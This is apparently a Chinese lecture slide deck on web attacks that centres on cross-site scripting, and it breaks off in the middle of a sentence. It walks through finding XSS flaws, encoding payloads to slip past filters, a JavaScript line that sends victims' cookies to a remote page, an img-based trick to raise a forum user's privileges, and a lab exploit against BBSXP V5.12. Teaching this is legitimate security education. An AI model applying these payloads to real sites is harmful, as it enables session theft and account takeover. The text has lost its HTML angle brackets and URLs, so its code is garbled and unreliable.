网络攻击针对WEB的攻击Web攻击概述针对Web服务器的攻击针对Web客户端的攻击针对Web通信信道的攻击针对Web服务器的攻击利用Web服务器的漏洞进行攻击,如IIS缓冲区溢出漏洞利用、目录遍历漏洞利用等利用网页自身的安全漏洞进行攻击,如SQL注入,跨站脚本攻击等此两类攻击均属于网站未对用户输入进行安全验证而导致国际组织OWASP(OpenWebApplicationSecurityProject)的统计,跨站脚本攻击和SQL注入排在前两位针对Web服务器的攻击(2)针对Web服务器具体的安全威胁主要体现在以下几个方面:服务器程序编写不当导致的缓冲区溢出(BufferOverflow)并由此导致远程代码执行。针对服务器系统的拒绝服务攻击(DenialofService)。乐观相信用户输入、过滤不严导致跨站脚本攻击(CrossSiteScript),在欺骗管理员的前提下,通过精心设计的脚本获得服务端Shell。脚本程序编写不当、过滤不严格造成的数据库查询语句注入(SQLInjection),可能引起信息泄漏、文件越权下载、验证绕过、远程代码执行等。针对Web客户端的攻击JavaApplet、ActiveX、Cookie等技术大量被使用,当用户使用浏览器查看、编辑网络内容时,采用了这些技术的应用程序会自动下载并在客户机上运行,如果这些程序被恶意使用,可以窃取、改变或删除客户机上的信息。浏览网页所使用的浏览器存在众多已知或者未知的漏洞,攻击者可以写一个利用某个漏洞的网页,并挂上木马,当用户访问了这个网页之后,就中了木马。同时,跨站脚本攻击(XSS)对于客户端的安全威胁同样无法忽视,利用XSS的Web蠕虫已经在网络中肆虐过。Web通信信道的安全和其他的Internet应用一样,Web信道同样面临着网络嗅探(Sniffer)和以拥塞信道、耗费资源为目的的拒绝服务攻击(DenialofService)的威胁。跨站脚本攻击跨站脚本攻击概述跨站脚本攻击过程跨站脚本攻击实例防御跨站脚本攻击跨站脚本攻击概述什么是XSS攻击跨站脚本攻击的危害跨站脚本攻击发起条件什么是XSS攻击XSS是跨站脚本攻击(CrossSiteScript)它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该网页时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。由于XSS漏洞很容易在大型网站中发现,在黑客圈内它非常流行。FBI.gov、CNN.com、Time.com、Ebay、Yahoo、Apple、Microsoft、Kaspersky、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。跨站脚本攻击的危害XSS攻击可以搜集用户信息,攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、ActiveX或Flash以欺骗用户。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告,查看主机信息等。例如,恶意代码将被欺骗用户的cookie收集起来进行cookie欺骗,或者是在访问者的电脑执行程序,比如后门木马或者是在系统上添加管理员帐户。跨站脚本攻击发起条件跨站脚本漏洞主要是由于Web服务器没有对用户的输入进行有效性验证或验证强度不够,而又轻易地将它们返回给客户端造成的Web服务器允许用户在表格或编辑框中输入不相关的字符Web服务器存储并允许把用户的输入显示在返回给终端用户的页面上,而这个回显并没有去除非法字符或者重新进行编码实现跨站脚本的攻击至少需要两个条件:需要存在跨站脚本漏洞的web应用程序;需要用户点击连接或者是访问某一页面。跨站脚本攻击过程寻找XSS漏洞注入恶意代码欺骗用户访问步骤一:寻找XSS漏洞我们浏览的网页全部都是基于超文本标记语言(HTML)创建的,如显示一个超链接:Ahref=XSS攻击正是通过向HTML代码中注入恶意的脚本实现的,HTML指定了脚本标记为:script/script寻找XSS漏洞(2)在没有过滤字符的情况下,只需要保持完整无错的脚本标记即可触发XSS。假如我们在某个资料表单提交内容,表单提交内容就是某个标记属性所赋的值,我们可以构造如下值来闭和标记来构造完整无错的脚本标记:scriptalert('XSS');/script“把这个内容赋值给前面A标记的href属性,则结果形成了Ahref=scriptalert('XSS');/scriptbaidu/A寻找XSS漏洞(3)假如要在网页里显示一张图片,那么就要使用img标记,示例如下:imgsrc=“浏览器的任务就是解释这个img标记,访问src属性所赋的值中的URL地址并输出图片。寻找XSS漏洞(4)于是我们就得出了一个经典的XSS示例:imgsrc=javascript:alert('XSS');把这个代码存储为1.htm,用IE浏览,会弹出一个由javascript调用的对话框。寻找XSS漏洞(5)在寻找XSS漏洞时,如果能看到源代码,我们主要看代码里对用户输入的地方和变量有没有做长度限制和对””、””、”;”和”’”等字符是否做过滤。还需要注意的是对于标签的闭合,有的时候,你输入scriptalert(‘test’)/script,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,例如少了一个/script。这个时候,你只要闭合一个/script,代码就会执行,如你输入:/scriptscriptalert(‘test’)/script,这样就可以弹出一个test的框。步骤二:注入恶意代码注入恶意代码的目的是:当被欺骗者访问了含有这段恶意代码的网页时,能实现你的攻击目的。例如,通过这些恶意代码,将访问者的Cookie信息发到远端攻击者手中,或者是提升用户的论坛权限、上传任意文件等。注入恶意代码(2)例如,把cookie发到远程的javascript代码可以这样写:javascript:window.location=‘’+document.cookiewindow.location的作用是使网页自动跳转到另一个页面;document.cookie的作用是读取cookie。当然,接收输入的网页可能会对,,’,”等字符进行过滤,这时,就需要进行编码了。注入恶意代码(3)IE浏览器默认采用的是UNICODE编码,HTML编码可以用ASCII方式来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值注入恶意代码(4)示例:imgsrc=“javascript:alert(‘XSS’);”imgsrc=javascript:alert('XSS');//10进制转码imgsrc=javascript:alert('XSS');//16进制转码注入恶意代码(5)通过编码,把cookie发到远程的script可以写成:javascript:window.location='其中,’的ASCII码是0x27。当用户访问的网页含有这段脚本时,用户的cookie将被发送到并被显示。注入恶意代码(6)对于一个论坛程序,还可以根据论坛的特定编程方式来提升权限。例如,一个论坛的后台通过admin_user.asp来修改用户的权限,用法是:admin_user.asp?&username=xxx&membercode=yyy,意思是把xxx用户的权限设置为yyy。注入恶意代码(7)那么结合img标签,我们可以构造如下攻击代码。imgsrc=“javascript:window.location=‘=xxx&membercode=yyy’”让用户浏览这张图片时,转去admin_user.asp页面运行,并尝试把用户xxx的权限修改为yyy。步骤三:欺骗用户访问当你把恶意的代码插入到网页中之后,接下来要做的事情就是让目标用户来访问你的网页,“间接”通过这个目标用户来完成你的目的。并不是所有用户都有足够的权限能帮你完成的恶意目的,例如刚才那个在论坛中提升用户权限的跨站脚本,一般的论坛只能超级管理员才有这个权限。这时,你就需要诱骗他来访问你的恶意页面。跨站脚本攻击实例实例:针对论坛BBSXP的XSS攻击。BBSXP是目前互联网上公认速度最快、系统资源占用最小的ASP论坛。这是一款商业软件,很多企业在使用此论坛。作为广泛使用的Web程序,它的健壮性却不够强大,以至却出现很多漏洞。在本例中,使用的BBSXP版本是V5.12。环境配置系统:WindowsXPSP2+IIS5.1IP:192.168.1.33下载BBSXPV5.12论坛,放在C:\Inetpub\目录下,如果默认开启了IIS服务,就可以通过进行访问论坛了。环境配置(2)社区区长帐号和密码都是:admin超级管理员的密码是:admin设置一个版块:电脑网络注册一个普通用户,用户名和密码都是:linzi,个性签名档设置为:我是linzi在“电脑网络”随便发表一篇帖子。论坛主界面查看帖子检测漏洞默认情况下,BBSXP是允许用户在个性签名里使用[img][/img]标签的。说明[img][/img]并不是标准的html标签,当用户输入:[img][/img]时,论坛程序会把它转换为标准的html代码:imgsrc=“”检测漏洞(2)我们在个性签名里输入:[img]javascript:alert(55)[/img]则浏览帖子时,会弹出一个提示框,结果见下页图,说明此处存在XSS漏洞。检测漏洞(3)漏洞利用我们可以利用这个漏洞来盗取用户的cookie信息。把用户linzi的签名档设置为:[img]javascript:window.location='[/img]说明:因为网站对’字符进行了过滤,所以必须把’编码为';window.location的作用是使网页自动跳转到另一个页面;document.cookie的作用是读取cookie。用户浏览了该页面后,会自动跳转到,并把自己的cookie信息传递给该页面。漏洞利用(2)当其他用户查看了linzi发表的帖子之后,就会把自己的cookie发送到